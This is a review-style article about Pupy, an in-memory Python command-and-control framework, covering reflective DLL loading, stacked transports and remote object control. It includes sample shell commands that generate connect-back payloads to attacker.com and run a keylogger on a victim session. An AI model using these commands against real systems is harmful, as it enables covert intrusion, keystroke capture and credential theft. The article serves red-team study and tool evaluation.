Pupy: The Python C2 Framework That Lives Entirely in Memory
Hook
Most malware leaves traces on disk that defenders can detect. Pupy loads an entire Python interpreter into RAM without writing a single file, executing payloads that vanish when the process ends.
Context
Command-and-control frameworks have long faced a fundamental tension: they need to be powerful enough to provide comprehensive post-exploitation capabilities, yet stealthy enough to evade detection. Traditional approaches bundle payloads with interpreters, write files to disk, or rely on pre-installed runtimes that may not exist on target systems. This creates forensic artifacts that defenders can detect through file integrity monitoring, antivirus signatures, or disk forensics.
Pupy emerged from this constraint, designed by Nicolas Verdier (n1nj4sec) as a cross-platform C2 framework that prioritizes in-memory execution. Rather than choosing between portability and stealth, Pupy attempts both: it runs on Windows, Linux, OSX, and Android while keeping its Python-based payload entirely memory-resident on Windows targets. The framework builds on rpyc (Remote Python Call) to enable a unique interaction model where operators manipulate client-side Python objects directly from the server shell. This isn't just another Metasploit clone—it's an exploration of what becomes possible when you can execute Python code remotely without ever touching the filesystem.
Technical Insight
The architectural centerpiece of Pupy is its reflective loading capability on Windows. Traditional Python payloads require python.exe or an embedded interpreter on disk. Pupy instead uses reflective DLL injection to load pupy.dll (which contains a complete Python 2.7 interpreter, stdlib, and the Pupy client code) directly into memory. The technique leverages position-independent code that resolves its own imports and relocations after being loaded into an arbitrary memory location. This means the entire attack surface—interpreter, modules, and payload logic—exists only in RAM.
The transport layer demonstrates sophisticated design through stackable transports. Rather than choosing a single communication protocol, Pupy lets you chain multiple transports together. You might stack HTTP over AES encryption over XOR obfuscation, creating nested transport channels where each layer adds a capability (encoding, encryption, protocol tunneling). This approach draws inspiration from the OSI model but applies it to C2 communications:
# Example transport configuration from Pupy
# The client connects through stacked transports
from network.transports import *
# Create a transport stack: XOR obfuscation -> AES encryption -> HTTP
transport_chain = chain_transports(
XORTransport(key=0x42),
AESTransport(key='sixteen_byte_key'),
HTTPTransport(host='example.com', url='/images/logo.png')
)
# Traffic flows: plaintext -> XOR -> AES -> HTTP
# Each layer can be swapped independently
This modularity extends to pluggable transports from the Tor project. Pupy can tunnel traffic through obfs4, meek, or other transports designed to bypass censorship infrastructure. The same abstractions that help dissidents evade nation-state firewalls help red teams evade corporate proxies.
The rpyc foundation enables a remarkable interaction model. When you connect to a compromised client through pupysh, you're not just sending commands—you're getting remote references to actual Python objects running on the target. The server shell provides tab completion for remote objects, inspection of remote attributes, and the ability to call methods as if they were local:
# In the pupysh shell, interacting with a Windows client
>> pyexec "import sys; import platform"
>> pyeval "platform.system()"
'Windows'
>> pyexec "import ctypes; user32 = ctypes.windll.user32"
>> pyeval "user32.GetSystemMetrics(0)" # Screen width
1920
# Remote objects behave like local ones
>> client = clients[0]
>> client.conn.modules.os.getcwd()
'C:\\Users\\victim\\Documents'
# Push and execute entire modules remotely
>> run keylogger
[+] Keylogger started, saving to /tmp/keys.txt
Payload generation showcases the cross-platform ambition. The pupysh shell includes a gen command that creates payloads for different platforms and formats. For Windows, you can generate PE executables, DLLs, or PowerShell scripts. For Linux, ELF binaries or shell scripts. The framework supports both x86 and x64 architectures, and includes techniques like code signing (with custom certificates) and binary packing:
# Generate a Windows DLL payload with HTTP transport
>> gen -f client -O windows -A x64 -o payload.dll \
connect --host attacker.com:443 --transport ssl
# Generate a Linux ELF with multiple connect-back hosts
>> gen -f client -O linux -A x64 -o payload.elf \
connect --host primary.com:8443 --transport ssl \
connect --host backup.com:9443 --transport ssl
# Embed offline scriptlets that run without C2 connectivity
>> gen -f client -O windows -A x64 -o payload.exe \
--scriptlet keylogger --scriptlet persistence
The scriptlet system addresses a common C2 limitation: requiring network connectivity for every action. Scriptlets are small, self-contained Python modules embedded directly into generated payloads. They execute offline tasks like establishing persistence, collecting credentials, or logging keystrokes, then exfiltrate results when connectivity resumes. This lets payloads operate usefully even in air-gapped periods.
Modules extend functionality through a plugin architecture. The framework ships with modules for everything from port scanning and privilege escalation to credential harvesting and lateral movement. Importantly, pure Python modules can be imported entirely from memory—the client never writes .pyc files or temporary modules to disk. Even compiled C extensions can be loaded memory-only on Windows through careful manipulation of the import system and reflective loading of native code.
Gotcha
Despite its technical sophistication, Pupy shows its age and resource constraints in several ways. The Android support is explicitly labeled as "limited" in documentation, with many modules failing on mobile targets. Similarly, macOS support exists but receives minimal maintenance—expect broken functionality and missing features compared to the Windows/Linux experience. The framework was clearly designed with Windows and Linux as first-class targets, and other platforms feel like afterthoughts.
The server component (pupysh) has not been tested on Windows and documentation strongly recommends Linux or Docker deployment. This creates operational friction if your red team infrastructure runs on Windows. Additionally, active development has slowed noticeably. The GitHub repository shows sporadic commits, wiki pages contain broken links, and support for older platforms (Windows XP/7, Android <4.4) has been dropped due to Python 2-to-3 migration challenges. The project is also explicitly a penetration testing tool—using it for any unauthorized access is illegal and unethical. While the core functionality remains solid for legitimate security assessments, don't expect rapid feature development or quick fixes for edge cases.
Verdict
Use if: You're conducting authorized penetration tests or red team exercises where fileless execution and minimal forensic footprint matter, you need flexible transport layers to bypass network monitoring, you value the Python ecosystem and want remote object manipulation capabilities, or you're researching C2 techniques and want to study a sophisticated open-source implementation. Skip if: You need reliable macOS or Android support, you want enterprise-grade support and active development, you're uncomfortable troubleshooting framework internals yourself, you need a mature ecosystem with extensive community modules (Metasploit would be better), or you're working in a purely Windows environment where specialized tools like Cobalt Strike offer deeper OS integration. Pupy occupies a specific niche: powerful cross-platform capabilities with emphasis on stealth, traded for platform polish and ongoing maintenance.